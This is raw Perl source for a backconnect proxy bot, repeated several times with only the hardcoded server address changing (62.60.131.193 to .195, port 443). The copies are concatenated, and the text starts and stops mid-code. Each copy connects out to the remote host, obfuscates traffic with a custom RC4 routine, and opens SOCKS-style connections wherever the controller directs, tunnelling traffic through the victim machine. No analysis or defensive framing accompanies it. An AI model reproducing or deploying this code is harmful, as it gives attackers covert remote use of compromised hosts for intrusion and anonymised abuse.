0) { next; } } $pockemon7 = unpack('C', substr($rc4, $pockemon0, 1)); $t = unpack('C', substr($$passw, $pockemon2, 1)); $pockemon1 += $t; $pockemon1 = $pockemon1 & 255; $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon6 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon0, 1) = pack('C', $pockemon6); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon0++; $pockemon0 = $pockemon0 & 255; if ($pockemon0 != 0) { $gs = 1; next; } $pockemon4 = $sz; $pockemon1 = 0; $pockemon0 = 0; $pockemon2 = 0; $pockemon3 = 0; while(1) { $pockemon2++; $pockemon2 = $pockemon2 & 255; $pockemon7 = unpack('C', substr($rc4, $pockemon2, 1)); $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon8 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon2, 1) = pack('C', $pockemon8); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon8 += $pockemon7; $pockemon8 = $pockemon8 & 255; $pockemon0 = unpack('C', substr($rc4, $pockemon8, 1)); $pockemon5 = unpack('C', substr($$buff0, $start + $pockemon3, 1)); $pockemon5 = $pockemon5 ^ $pockemon0; substr($$buff0, $start + $pockemon3, 1) = pack('C', $pockemon5); $pockemon3++; if (--$pockemon4 == 0) { last; } } last; } $rsi = 0; $rcx = $sz; $rbx = 0; do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); } sub synsend { my $cSocket = shift(@_); my $buffer = shift(@_); my $flags = shift(@_); open(my $fh, "<", '/dev/null'); flock($fh, LOCK_EX); # =============================================== send($cSocket, $buffer, $flags); # =============================================== flock($fh, LOCK_UN); close($fh); } sub newConnection { my $num = shift(@_); my $socketarray = shift(@_); my $sSocket = shift(@_); my $cSocket = shift(@_); my $buff0 = shift(@_); threads->create( sub { my $responce = pack('C', $num)."\x0A\x00\x05\x01\x00\x01\x00\x00\x00\x00\x00\x00"; my $domain = ''; my $port = 0; my $_ret = 0; my $data = ''; my $buffer = ''; setsockopt($cSocket, IPPROTO_TCP, TCP_NODELAY, 1); fcntl($cSocket, F_SETFL, O_NONBLOCK); if (unpack('C', substr($buff0, 7, 1)) == 3) { $domain = substr($buff0, 9, unpack('C', substr($buff0, 8, 1))); $port = unpack('S', substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 1, 1).substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 0, 1)); } elsif (unpack('C', substr($buff0, 7, 1)) == 1) { $domain = sprintf("%d.%d.%d.%d", unpack('C', substr($buff0, 8 + 0, 1)), unpack('C', substr($buff0, 8 + 1, 1)), unpack('C', substr($buff0, 8 + 2, 1)), unpack('C', substr($buff0, 8 + 3, 1))); $port = unpack('S', substr($buff0, 12 + 1, 1).substr($buff0, 12 + 0, 1)); } else { goto close_; } eval { my $paddr = sockaddr_in($port, inet_aton($domain)); connect($cSocket, $paddr); vec(my $win = '', fileno($cSocket), 1) = 1; unless (select(undef, $win, undef, 10)) { goto close_; } fcntl($cSocket, F_SETFL, 0); substr($responce, 4, 1) = "\x00"; $_ret = 1; }; close_: Rc4_crypt(\$xordata, 50, \$responce, 0, 3); Rc4_crypt(\$xordata, 50, \$responce, 3, 10); synsend($sSocket, $responce, MSG_NOSIGNAL); Rc4_crypt(\$xordata, 50, \$responce, 0, 3); if ($_ret == 1) { while ($$socketarray[$num] == 1) { vec(my $rin = '', fileno($cSocket), 1) = 1; unless (select($rin, undef, undef, 1)) { next; } $data = ''; recv($cSocket, $data, 65530, 0); unless ($data) { last; } $buffer = pack('C', $num).pack('S', length($data)).$data; Rc4_crypt(\$xordata, 50, \$buffer, 0, 3); Rc4_crypt(\$xordata, 50, \$buffer, 3, length($data)); synsend($sSocket, $buffer, MSG_NOSIGNAL); } } $$socketarray[$num] = 0; close($cSocket); substr($responce, 1, 2) = "\x00\x00"; Rc4_crypt(\$xordata, 50, \$responce, 0, 3); synsend($sSocket, substr($responce, 0, 3), MSG_NOSIGNAL); threads->detach(); }); } sub bccnct { my $host = shift(@_); my $port = shift(@_); my $remaining = 0; my $remaining4 = 0; my @socketarr; my @socketarray :shared; my $buffer = "\x00" x 100; my $buffernull = "\x00" x 3; my $buffer0 = ''; my $isExit = 0; my $ecx = 0; my $eax = 0; my $data = ''; my $_ret = 0; my $ebx = 0; my $edx = 0; socket($socketarr[0], PF_INET, SOCK_STREAM, getprotobyname('tcp')); setsockopt($socketarr[0], IPPROTO_TCP, TCP_NODELAY, 1); my $paddr = sockaddr_in($$port, inet_aton($$host)); unless(connect($socketarr[0], $paddr)) { goto close0; } substr($buffer, 0, 50) = $xordata; substr($buffer, 50, 2) = "\xFF\xFF"; substr($buffer, 54, 11) = "Perl script"; Rc4_crypt(\$xordata, 50, \$buffer, 50, 50); send($socketarr[0], $buffer, MSG_NOSIGNAL); while(1) { if ($remaining4 != 4) { vec(my $rin = '', fileno($socketarr[0]), 1) = 1; my $ret = select($rin, undef, undef, 60); next if ($ret < 0); if ($ret == 0) { last if (substr($buffernull, 0, 3) ne "\x00\x00\x00"); last if ($remaining != 0); last if ($remaining4 != 0); Rc4_crypt(\$xordata, 50, \$buffernull, 0, 3); synsend($socketarr[0], $buffernull, MSG_NOSIGNAL); next; } } if ($remaining != 0 || $remaining4 == 4) { if ($edx == 0) { if (substr($buffer0, 0, 1) eq "\xFF" && substr($buffer0, 1, 1) eq "\xFE") { $isExit = 1; last; } elsif ($ebx < 200 && $ebx > 0) { $socketarray[$ebx] = 0; } } else { $ecx = $edx; $ecx = $ecx - $remaining; $data = ''; recv($socketarr[0], $data, $ecx, 0); unless ($data) { last; } $remaining += length($data); $buffer0 .= $data; if ($edx == $remaining) { Rc4_crypt(\$xordata, 50, \$buffer0, 4, $remaining); if (unpack('C', substr($buffer0, 0, 1)) == 0) { socket($socketarr[$ebx], PF_INET, SOCK_STREAM, getprotobyname('tcp')); $socketarray[$ebx] = 1; newConnection($ebx, \@socketarray, $socketarr[0], $socketarr[$ebx], $buffer0); } else { send($socketarr[$ebx], substr($buffer0, 4, $remaining), MSG_NOSIGNAL); } $remaining = 0; } } $remaining4 = 0; } else { if ($remaining4 == 0) { $buffer0 = ''; } $eax = 4; $eax = $eax - $remaining4; $data = ''; recv($socketarr[0], $data, $eax, 0); unless ($data) { last; } $remaining4 += length($data); $buffer0 .= $data; $buffernull = "\x00" x 3; if ($remaining4 == 4) { Rc4_crypt(\$xordata, 50, \$buffer0, 0, 4); $ebx = unpack('C', substr($buffer0, 1, 1)); $edx = unpack('S', substr($buffer0, 2, 2)); $_ret = 1; } } } close0: close($socketarr[0]); for (my $i = 0; $i < 200; $i++) { $socketarray[$i] = 0; } sleep 10; if ($isExit == 1) { exit; } return $_ret; } bccnct(\$host, \$port); $#!/usr/bin/perl use strict; use warnings; use Socket; use Socket qw(IPPROTO_TCP TCP_NODELAY); use Fcntl; use Fcntl qw(:flock); use threads; use threads::shared; my $host = '62.60.131.195'; my $port = 443; my $xordata = "\x00" x 50; for (my $i = 0; $i < 50; $i++) { substr($xordata, $i, 1) = pack('C', rand(255)); } sub Rc4_crypt { my $passw = shift(@_); my $length = shift(@_); my $buff0 = shift(@_); my $start = shift(@_); my $sz = shift(@_); my $rc4 = "\x00" x 256; my $pockemon0 = 0; my $pockemon1 = 0; my $pockemon2 = 0; my $pockemon3 = 0; my $pockemon4 = 0; my $pockemon5 = 0; my $pockemon6 = 0; my $pockemon7 = 0; my $pockemon8 = 0; my $rcx = $sz; my $rsi = 0; my $rbx = 0; my $gs = 0; my $t = 0; for (my $i = 0; $i <= 255; $i++) { substr($rc4, $i, 1) = pack('C', $i); } do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); while(1) { if ($gs == 0) { $pockemon2 = 0; $pockemon3 = $length; } if ($gs != 0) { $gs = 0; $pockemon2++; if (--$pockemon3 == 0) { next; } } $pockemon7 = unpack('C', substr($rc4, $pockemon0, 1)); $t = unpack('C', substr($$passw, $pockemon2, 1)); $pockemon1 += $t; $pockemon1 = $pockemon1 & 255; $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon6 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon0, 1) = pack('C', $pockemon6); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon0++; $pockemon0 = $pockemon0 & 255; if ($pockemon0 != 0) { $gs = 1; next; } $pockemon4 = $sz; $pockemon1 = 0; $pockemon0 = 0; $pockemon2 = 0; $pockemon3 = 0; while(1) { $pockemon2++; $pockemon2 = $pockemon2 & 255; $pockemon7 = unpack('C', substr($rc4, $pockemon2, 1)); $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon8 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon2, 1) = pack('C', $pockemon8); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon8 += $pockemon7; $pockemon8 = $pockemon8 & 255; $pockemon0 = unpack('C', substr($rc4, $pockemon8, 1)); $pockemon5 = unpack('C', substr($$buff0, $start + $pockemon3, 1)); $pockemon5 = $pockemon5 ^ $pockemon0; substr($$buff0, $start + $pockemon3, 1) = pack('C', $pockemon5); $pockemon3++; if (--$pockemon4 == 0) { last; } } last; } $rsi = 0; $rcx = $sz; $rbx = 0; do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); } sub synsend { my $cSocket = shift(@_); my $buffer = shift(@_); my $flags = shift(@_); open(my $fh, "<", '/dev/null'); flock($fh, LOCK_EX); # =============================================== send($cSocket, $buffer, $flags); # =============================================== flock($fh, LOCK_UN); close($fh); } sub newConnection { my $num = shift(@_); my $socketarray = shift(@_); my $sSocket = shift(@_); my $cSocket = shift(@_); my $buff0 = shift(@_); threads->create( sub { my $responce = pack('C', $num)."\x0A\x00\x05\x01\x00\x01\x00\x00\x00\x00\x00\x00"; my $domain = ''; my $port = 0; my $_ret = 0; my $data = ''; my $buffer = ''; setsockopt($cSocket, IPPROTO_TCP, TCP_NODELAY, 1); fcntl($cSocket, F_SETFL, O_NONBLOCK); if (unpack('C', substr($buff0, 7, 1)) == 3) { $domain = substr($buff0, 9, unpack('C', substr($buff0, 8, 1))); $port = unpack('S', substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 1, 1).substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 0, 1)); } elsif (unpack('C', substr($buff0, 7, 1)) == 1) { $domain = sprintf("%d.%d.%d.%d", unpack('C', substr($buff0, 8 + 0, 1)), unpack('C', substr($buff0, 8 + 1, 1)), unpack('C', substr($buff0, 8 + 2, 1)), unpack('C', substr($buff0, 8 + 3, 1))); $port = unpack('S', substr($buff0, 12 + 1, 1).substr($buff0, 12 + 0, 1)); } else { goto close_; } eval { my $paddr = sockaddr_in($port, inet_aton($domain)); connect($cSocket, $paddr); vec(my $win = '', fileno($cSocket), 1) = 1; unless (select(undef, $win, undef, 10)) { goto close_; } fcntl($cSocket, F_SETFL, 0); substr($responce, 4, 1) = "\x00"; $_ret = 1; }; close_: Rc4_crypt(\$xordata, 50, \$responce, 0, 3); Rc4_crypt(\$xordata, 50, \$responce, 3, 10); synsend($sSocket, $responce, MSG_NOSIGNAL); Rc4_crypt(\$xordata, 50, \$responce, 0, 3); if ($_ret == 1) { while ($$socketarray[$num] == 1) { vec(my $rin = '', fileno($cSocket), 1) = 1; unless (select($rin, undef, undef, 1)) { next; } $data = ''; recv($cSocket, $data, 65530, 0); unless ($data) { last; } $buffer = pack('C', $num).pack('S', length($data)).$data; Rc4_crypt(\$xordata, 50, \$buffer, 0, 3); Rc4_crypt(\$xordata, 50, \$buffer, 3, length($data)); synsend($sSocket, $buffer, MSG_NOSIGNAL); } } $$socketarray[$num] = 0; close($cSocket); substr($responce, 1, 2) = "\x00\x00"; Rc4_crypt(\$xordata, 50, \$responce, 0, 3); synsend($sSocket, substr($responce, 0, 3), MSG_NOSIGNAL); threads->detach(); }); } sub bccnct { my $host = shift(@_); my $port = shift(@_); my $remaining = 0; my $remaining4 = 0; my @socketarr; my @socketarray :shared; my $buffer = "\x00" x 100; my $buffernull = "\x00" x 3; my $buffer0 = ''; my $isExit = 0; my $ecx = 0; my $eax = 0; my $data = ''; my $_ret = 0; my $ebx = 0; my $edx = 0; socket($socketarr[0], PF_INET, SOCK_STREAM, getprotobyname('tcp')); setsockopt($socketarr[0], IPPROTO_TCP, TCP_NODELAY, 1); my $paddr = sockaddr_in($$port, inet_aton($$host)); unless(connect($socketarr[0], $paddr)) { goto close0; } substr($buffer, 0, 50) = $xordata; substr($buffer, 50, 2) = "\xFF\xFF"; substr($buffer, 54, 11) = "Perl script"; Rc4_crypt(\$xordata, 50, \$buffer, 50, 50); send($socketarr[0], $buffer, MSG_NOSIGNAL); while(1) { if ($remaining4 != 4) { vec(my $rin = '', fileno($socketarr[0]), 1) = 1; my $ret = select($rin, undef, undef, 60); next if ($ret < 0); if ($ret == 0) { last if (substr($buffernull, 0, 3) ne "\x00\x00\x00"); last if ($remaining != 0); last if ($remaining4 != 0); Rc4_crypt(\$xordata, 50, \$buffernull, 0, 3); synsend($socketarr[0], $buffernull, MSG_NOSIGNAL); next; } } if ($remaining != 0 || $remaining4 == 4) { if ($edx == 0) { if (substr($buffer0, 0, 1) eq "\xFF" && substr($buffer0, 1, 1) eq "\xFE") { $isExit = 1; last; } elsif ($ebx < 200 && $ebx > 0) { $socketarray[$ebx] = 0; } } else { $ecx = $edx; $ecx = $ecx - $remaining; $data = ''; recv($socketarr[0], $data, $ecx, 0); unless ($data) { last; } $remaining += length($data); $buffer0 .= $data; if ($edx == $remaining) { Rc4_crypt(\$xordata, 50, \$buffer0, 4, $remaining); if (unpack('C', substr($buffer0, 0, 1)) == 0) { socket($socketarr[$ebx], PF_INET, SOCK_STREAM, getprotobyname('tcp')); $socketarray[$ebx] = 1; newConnection($ebx, \@socketarray, $socketarr[0], $socketarr[$ebx], $buffer0); } else { send($socketarr[$ebx], substr($buffer0, 4, $remaining), MSG_NOSIGNAL); } $remaining = 0; } } $remaining4 = 0; } else { if ($remaining4 == 0) { $buffer0 = ''; } $eax = 4; $eax = $eax - $remaining4; $data = ''; recv($socketarr[0], $data, $eax, 0); unless ($data) { last; } $remaining4 += length($data); $buffer0 .= $data; $buffernull = "\x00" x 3; if ($remaining4 == 4) { Rc4_crypt(\$xordata, 50, \$buffer0, 0, 4); $ebx = unpack('C', substr($buffer0, 1, 1)); $edx = unpack('S', substr($buffer0, 2, 2)); $_ret = 1; } } } close0: close($socketarr[0]); for (my $i = 0; $i < 200; $i++) { $socketarray[$i] = 0; } sleep 10; if ($isExit == 1) { exit; } return $_ret; } bccnct(\$host, \$port); $#!/usr/bin/perl use strict; use warnings; use Socket; use Socket qw(IPPROTO_TCP TCP_NODELAY); use Fcntl; use Fcntl qw(:flock); use threads; use threads::shared; my $host = '62.60.131.194'; my $port = 443; my $xordata = "\x00" x 50; for (my $i = 0; $i < 50; $i++) { substr($xordata, $i, 1) = pack('C', rand(255)); } sub Rc4_crypt { my $passw = shift(@_); my $length = shift(@_); my $buff0 = shift(@_); my $start = shift(@_); my $sz = shift(@_); my $rc4 = "\x00" x 256; my $pockemon0 = 0; my $pockemon1 = 0; my $pockemon2 = 0; my $pockemon3 = 0; my $pockemon4 = 0; my $pockemon5 = 0; my $pockemon6 = 0; my $pockemon7 = 0; my $pockemon8 = 0; my $rcx = $sz; my $rsi = 0; my $rbx = 0; my $gs = 0; my $t = 0; for (my $i = 0; $i <= 255; $i++) { substr($rc4, $i, 1) = pack('C', $i); } do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); while(1) { if ($gs == 0) { $pockemon2 = 0; $pockemon3 = $length; } if ($gs != 0) { $gs = 0; $pockemon2++; if (--$pockemon3 == 0) { next; } } $pockemon7 = unpack('C', substr($rc4, $pockemon0, 1)); $t = unpack('C', substr($$passw, $pockemon2, 1)); $pockemon1 += $t; $pockemon1 = $pockemon1 & 255; $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon6 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon0, 1) = pack('C', $pockemon6); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon0++; $pockemon0 = $pockemon0 & 255; if ($pockemon0 != 0) { $gs = 1; next; } $pockemon4 = $sz; $pockemon1 = 0; $pockemon0 = 0; $pockemon2 = 0; $pockemon3 = 0; while(1) { $pockemon2++; $pockemon2 = $pockemon2 & 255; $pockemon7 = unpack('C', substr($rc4, $pockemon2, 1)); $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon8 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon2, 1) = pack('C', $pockemon8); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon8 += $pockemon7; $pockemon8 = $pockemon8 & 255; $pockemon0 = unpack('C', substr($rc4, $pockemon8, 1)); $pockemon5 = unpack('C', substr($$buff0, $start + $pockemon3, 1)); $pockemon5 = $pockemon5 ^ $pockemon0; substr($$buff0, $start + $pockemon3, 1) = pack('C', $pockemon5); $pockemon3++; if (--$pockemon4 == 0) { last; } } last; } $rsi = 0; $rcx = $sz; $rbx = 0; do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); } sub synsend { my $cSocket = shift(@_); my $buffer = shift(@_); my $flags = shift(@_); open(my $fh, "<", '/dev/null'); flock($fh, LOCK_EX); # =============================================== send($cSocket, $buffer, $flags); # =============================================== flock($fh, LOCK_UN); close($fh); } sub newConnection { my $num = shift(@_); my $socketarray = shift(@_); my $sSocket = shift(@_); my $cSocket = shift(@_); my $buff0 = shift(@_); threads->create( sub { my $responce = pack('C', $num)."\x0A\x00\x05\x01\x00\x01\x00\x00\x00\x00\x00\x00"; my $domain = ''; my $port = 0; my $_ret = 0; my $data = ''; my $buffer = ''; setsockopt($cSocket, IPPROTO_TCP, TCP_NODELAY, 1); fcntl($cSocket, F_SETFL, O_NONBLOCK); if (unpack('C', substr($buff0, 7, 1)) == 3) { $domain = substr($buff0, 9, unpack('C', substr($buff0, 8, 1))); $port = unpack('S', substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 1, 1).substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 0, 1)); } elsif (unpack('C', substr($buff0, 7, 1)) == 1) { $domain = sprintf("%d.%d.%d.%d", unpack('C', substr($buff0, 8 + 0, 1)), unpack('C', substr($buff0, 8 + 1, 1)), unpack('C', substr($buff0, 8 + 2, 1)), unpack('C', substr($buff0, 8 + 3, 1))); $port = unpack('S', substr($buff0, 12 + 1, 1).substr($buff0, 12 + 0, 1)); } else { goto close_; } eval { my $paddr = sockaddr_in($port, inet_aton($domain)); connect($cSocket, $paddr); vec(my $win = '', fileno($cSocket), 1) = 1; unless (select(undef, $win, undef, 10)) { goto close_; } fcntl($cSocket, F_SETFL, 0); substr($responce, 4, 1) = "\x00"; $_ret = 1; }; close_: Rc4_crypt(\$xordata, 50, \$responce, 0, 3); Rc4_crypt(\$xordata, 50, \$responce, 3, 10); synsend($sSocket, $responce, MSG_NOSIGNAL); Rc4_crypt(\$xordata, 50, \$responce, 0, 3); if ($_ret == 1) { while ($$socketarray[$num] == 1) { vec(my $rin = '', fileno($cSocket), 1) = 1; unless (select($rin, undef, undef, 1)) { next; } $data = ''; recv($cSocket, $data, 65530, 0); unless ($data) { last; } $buffer = pack('C', $num).pack('S', length($data)).$data; Rc4_crypt(\$xordata, 50, \$buffer, 0, 3); Rc4_crypt(\$xordata, 50, \$buffer, 3, length($data)); synsend($sSocket, $buffer, MSG_NOSIGNAL); } } $$socketarray[$num] = 0; close($cSocket); substr($responce, 1, 2) = "\x00\x00"; Rc4_crypt(\$xordata, 50, \$responce, 0, 3); synsend($sSocket, substr($responce, 0, 3), MSG_NOSIGNAL); threads->detach(); }); } sub bccnct { my $host = shift(@_); my $port = shift(@_); my $remaining = 0; my $remaining4 = 0; my @socketarr; my @socketarray :shared; my $buffer = "\x00" x 100; my $buffernull = "\x00" x 3; my $buffer0 = ''; my $isExit = 0; my $ecx = 0; my $eax = 0; my $data = ''; my $_ret = 0; my $ebx = 0; my $edx = 0; socket($socketarr[0], PF_INET, SOCK_STREAM, getprotobyname('tcp')); setsockopt($socketarr[0], IPPROTO_TCP, TCP_NODELAY, 1); my $paddr = sockaddr_in($$port, inet_aton($$host)); unless(connect($socketarr[0], $paddr)) { goto close0; } substr($buffer, 0, 50) = $xordata; substr($buffer, 50, 2) = "\xFF\xFF"; substr($buffer, 54, 11) = "Perl script"; Rc4_crypt(\$xordata, 50, \$buffer, 50, 50); send($socketarr[0], $buffer, MSG_NOSIGNAL); while(1) { if ($remaining4 != 4) { vec(my $rin = '', fileno($socketarr[0]), 1) = 1; my $ret = select($rin, undef, undef, 60); next if ($ret < 0); if ($ret == 0) { last if (substr($buffernull, 0, 3) ne "\x00\x00\x00"); last if ($remaining != 0); last if ($remaining4 != 0); Rc4_crypt(\$xordata, 50, \$buffernull, 0, 3); synsend($socketarr[0], $buffernull, MSG_NOSIGNAL); next; } } if ($remaining != 0 || $remaining4 == 4) { if ($edx == 0) { if (substr($buffer0, 0, 1) eq "\xFF" && substr($buffer0, 1, 1) eq "\xFE") { $isExit = 1; last; } elsif ($ebx < 200 && $ebx > 0) { $socketarray[$ebx] = 0; } } else { $ecx = $edx; $ecx = $ecx - $remaining; $data = ''; recv($socketarr[0], $data, $ecx, 0); unless ($data) { last; } $remaining += length($data); $buffer0 .= $data; if ($edx == $remaining) { Rc4_crypt(\$xordata, 50, \$buffer0, 4, $remaining); if (unpack('C', substr($buffer0, 0, 1)) == 0) { socket($socketarr[$ebx], PF_INET, SOCK_STREAM, getprotobyname('tcp')); $socketarray[$ebx] = 1; newConnection($ebx, \@socketarray, $socketarr[0], $socketarr[$ebx], $buffer0); } else { send($socketarr[$ebx], substr($buffer0, 4, $remaining), MSG_NOSIGNAL); } $remaining = 0; } } $remaining4 = 0; } else { if ($remaining4 == 0) { $buffer0 = ''; } $eax = 4; $eax = $eax - $remaining4; $data = ''; recv($socketarr[0], $data, $eax, 0); unless ($data) { last; } $remaining4 += length($data); $buffer0 .= $data; $buffernull = "\x00" x 3; if ($remaining4 == 4) { Rc4_crypt(\$xordata, 50, \$buffer0, 0, 4); $ebx = unpack('C', substr($buffer0, 1, 1)); $edx = unpack('S', substr($buffer0, 2, 2)); $_ret = 1; } } } close0: close($socketarr[0]); for (my $i = 0; $i < 200; $i++) { $socketarray[$i] = 0; } sleep 10; if ($isExit == 1) { exit; } return $_ret; } bccnct(\$host, \$port); $#!/usr/bin/perl use strict; use warnings; use Socket; use Socket qw(IPPROTO_TCP TCP_NODELAY); use Fcntl; use Fcntl qw(:flock); use threads; use threads::shared; my $host = '62.60.131.193'; my $port = 443; my $xordata = "\x00" x 50; for (my $i = 0; $i < 50; $i++) { substr($xordata, $i, 1) = pack('C', rand(255)); } sub Rc4_crypt { my $passw = shift(@_); my $length = shift(@_); my $buff0 = shift(@_); my $start = shift(@_); my $sz = shift(@_); my $rc4 = "\x00" x 256; my $pockemon0 = 0; my $pockemon1 = 0; my $pockemon2 = 0; my $pockemon3 = 0; my $pockemon4 = 0; my $pockemon5 = 0; my $pockemon6 = 0; my $pockemon7 = 0; my $pockemon8 = 0; my $rcx = $sz; my $rsi = 0; my $rbx = 0; my $gs = 0; my $t = 0; for (my $i = 0; $i <= 255; $i++) { substr($rc4, $i, 1) = pack('C', $i); } do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); while(1) { if ($gs == 0) { $pockemon2 = 0; $pockemon3 = $length; } if ($gs != 0) { $gs = 0; $pockemon2++; if (--$pockemon3 == 0) { next; } } $pockemon7 = unpack('C', substr($rc4, $pockemon0, 1)); $t = unpack('C', substr($$passw, $pockemon2, 1)); $pockemon1 += $t; $pockemon1 = $pockemon1 & 255; $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon6 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon0, 1) = pack('C', $pockemon6); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon0++; $pockemon0 = $pockemon0 & 255; if ($pockemon0 != 0) { $gs = 1; next; } $pockemon4 = $sz; $pockemon1 = 0; $pockemon0 = 0; $pockemon2 = 0; $pockemon3 = 0; while(1) { $pockemon2++; $pockemon2 = $pockemon2 & 255; $pockemon7 = unpack('C', substr($rc4, $pockemon2, 1)); $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon8 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon2, 1) = pack('C', $pockemon8); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon8 += $pockemon7; $pockemon8 = $pockemon8 & 255; $pockemon0 = unpack('C', substr($rc4, $pockemon8, 1)); $pockemon5 = unpack('C', substr($$buff0, $start + $pockemon3, 1)); $pockemon5 = $pockemon5 ^ $pockemon0; substr($$buff0, $start + $pockemon3, 1) = pack('C', $pockemon5); $pockemon3++; if (--$pockemon4 == 0) { last; } } last; } $rsi = 0; $rcx = $sz; $rbx = 0; do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); } sub synsend { my $cSocket = shift(@_); my $buffer = shift(@_); my $flags = shift(@_); open(my $fh, "<", '/dev/null'); flock($fh, LOCK_EX); # =============================================== send($cSocket, $buffer, $flags); # =============================================== flock($fh, LOCK_UN); close($fh); } sub newConnection { my $num = shift(@_); my $socketarray = shift(@_); my $sSocket = shift(@_); my $cSocket = shift(@_); my $buff0 = shift(@_); threads->create( sub { my $responce = pack('C', $num)."\x0A\x00\x05\x01\x00\x01\x00\x00\x00\x00\x00\x00"; my $domain = ''; my $port = 0; my $_ret = 0; my $data = ''; my $buffer = ''; setsockopt($cSocket, IPPROTO_TCP, TCP_NODELAY, 1); fcntl($cSocket, F_SETFL, O_NONBLOCK); if (unpack('C', substr($buff0, 7, 1)) == 3) { $domain = substr($buff0, 9, unpack('C', substr($buff0, 8, 1))); $port = unpack('S', substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 1, 1).substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 0, 1)); } elsif (unpack('C', substr($buff0, 7, 1)) == 1) { $domain = sprintf("%d.%d.%d.%d", unpack('C', substr($buff0, 8 + 0, 1)), unpack('C', substr($buff0, 8 + 1, 1)), unpack('C', substr($buff0, 8 + 2, 1)), unpack('C', substr($buff0, 8 + 3, 1))); $port = unpack('S', substr($buff0, 12 + 1, 1).substr($buff0, 12 + 0, 1)); } else { goto close_; } eval { my $paddr = sockaddr_in($port, inet_aton($domain)); connect($cSocket, $paddr); vec(my $win = '', fileno($cSocket), 1) = 1; unless (select(undef, $win, undef, 10)) { goto close_; } fcntl($cSocket, F_SETFL, 0); substr($responce, 4, 1) = "\x00"; $_ret = 1; }; close_: Rc4_crypt(\$xordata, 50, \$responce, 0, 3); Rc4_crypt(\$xordata, 50, \$responce, 3, 10); synsend($sSocket, $responce, MSG_NOSIGNAL); Rc4_crypt(\$xordata, 50, \$responce, 0, 3); if ($_ret == 1) { while ($$socketarray[$num] == 1) { vec(my $rin = '', fileno($cSocket), 1) = 1; unless (select($rin, undef, undef, 1)) { next; } $data = ''; recv($cSocket, $data, 65530, 0); unless ($data) { last; } $buffer = pack('C', $num).pack('S', length($data)).$data; Rc4_crypt(\$xordata, 50, \$buffer, 0, 3); Rc4_crypt(\$xordata, 50, \$buffer, 3, length($data)); synsend($sSocket, $buffer, MSG_NOSIGNAL); } } $$socketarray[$num] = 0; close($cSocket); substr($responce, 1, 2) = "\x00\x00"; Rc4_crypt(\$xordata, 50, \$responce, 0, 3); synsend($sSocket, substr($responce, 0, 3), MSG_NOSIGNAL); threads->detach(); }); } sub bccnct { my $host = shift(@_); my $port = shift(@_); my $remaining = 0; my $remaining4 = 0; my @socketarr; my @socketarray :shared; my $buffer = "\x00" x 100; my $buffernull = "\x00" x 3; my $buffer0 = ''; my $isExit = 0; my $ecx = 0; my $eax = 0; my $data = ''; my $_ret = 0; my $ebx = 0; my $edx = 0; socket($socketarr[0], PF_INET, SOCK_STREAM, getprotobyname('tcp')); setsockopt($socketarr[0], IPPROTO_TCP, TCP_NODELAY, 1); my $paddr = 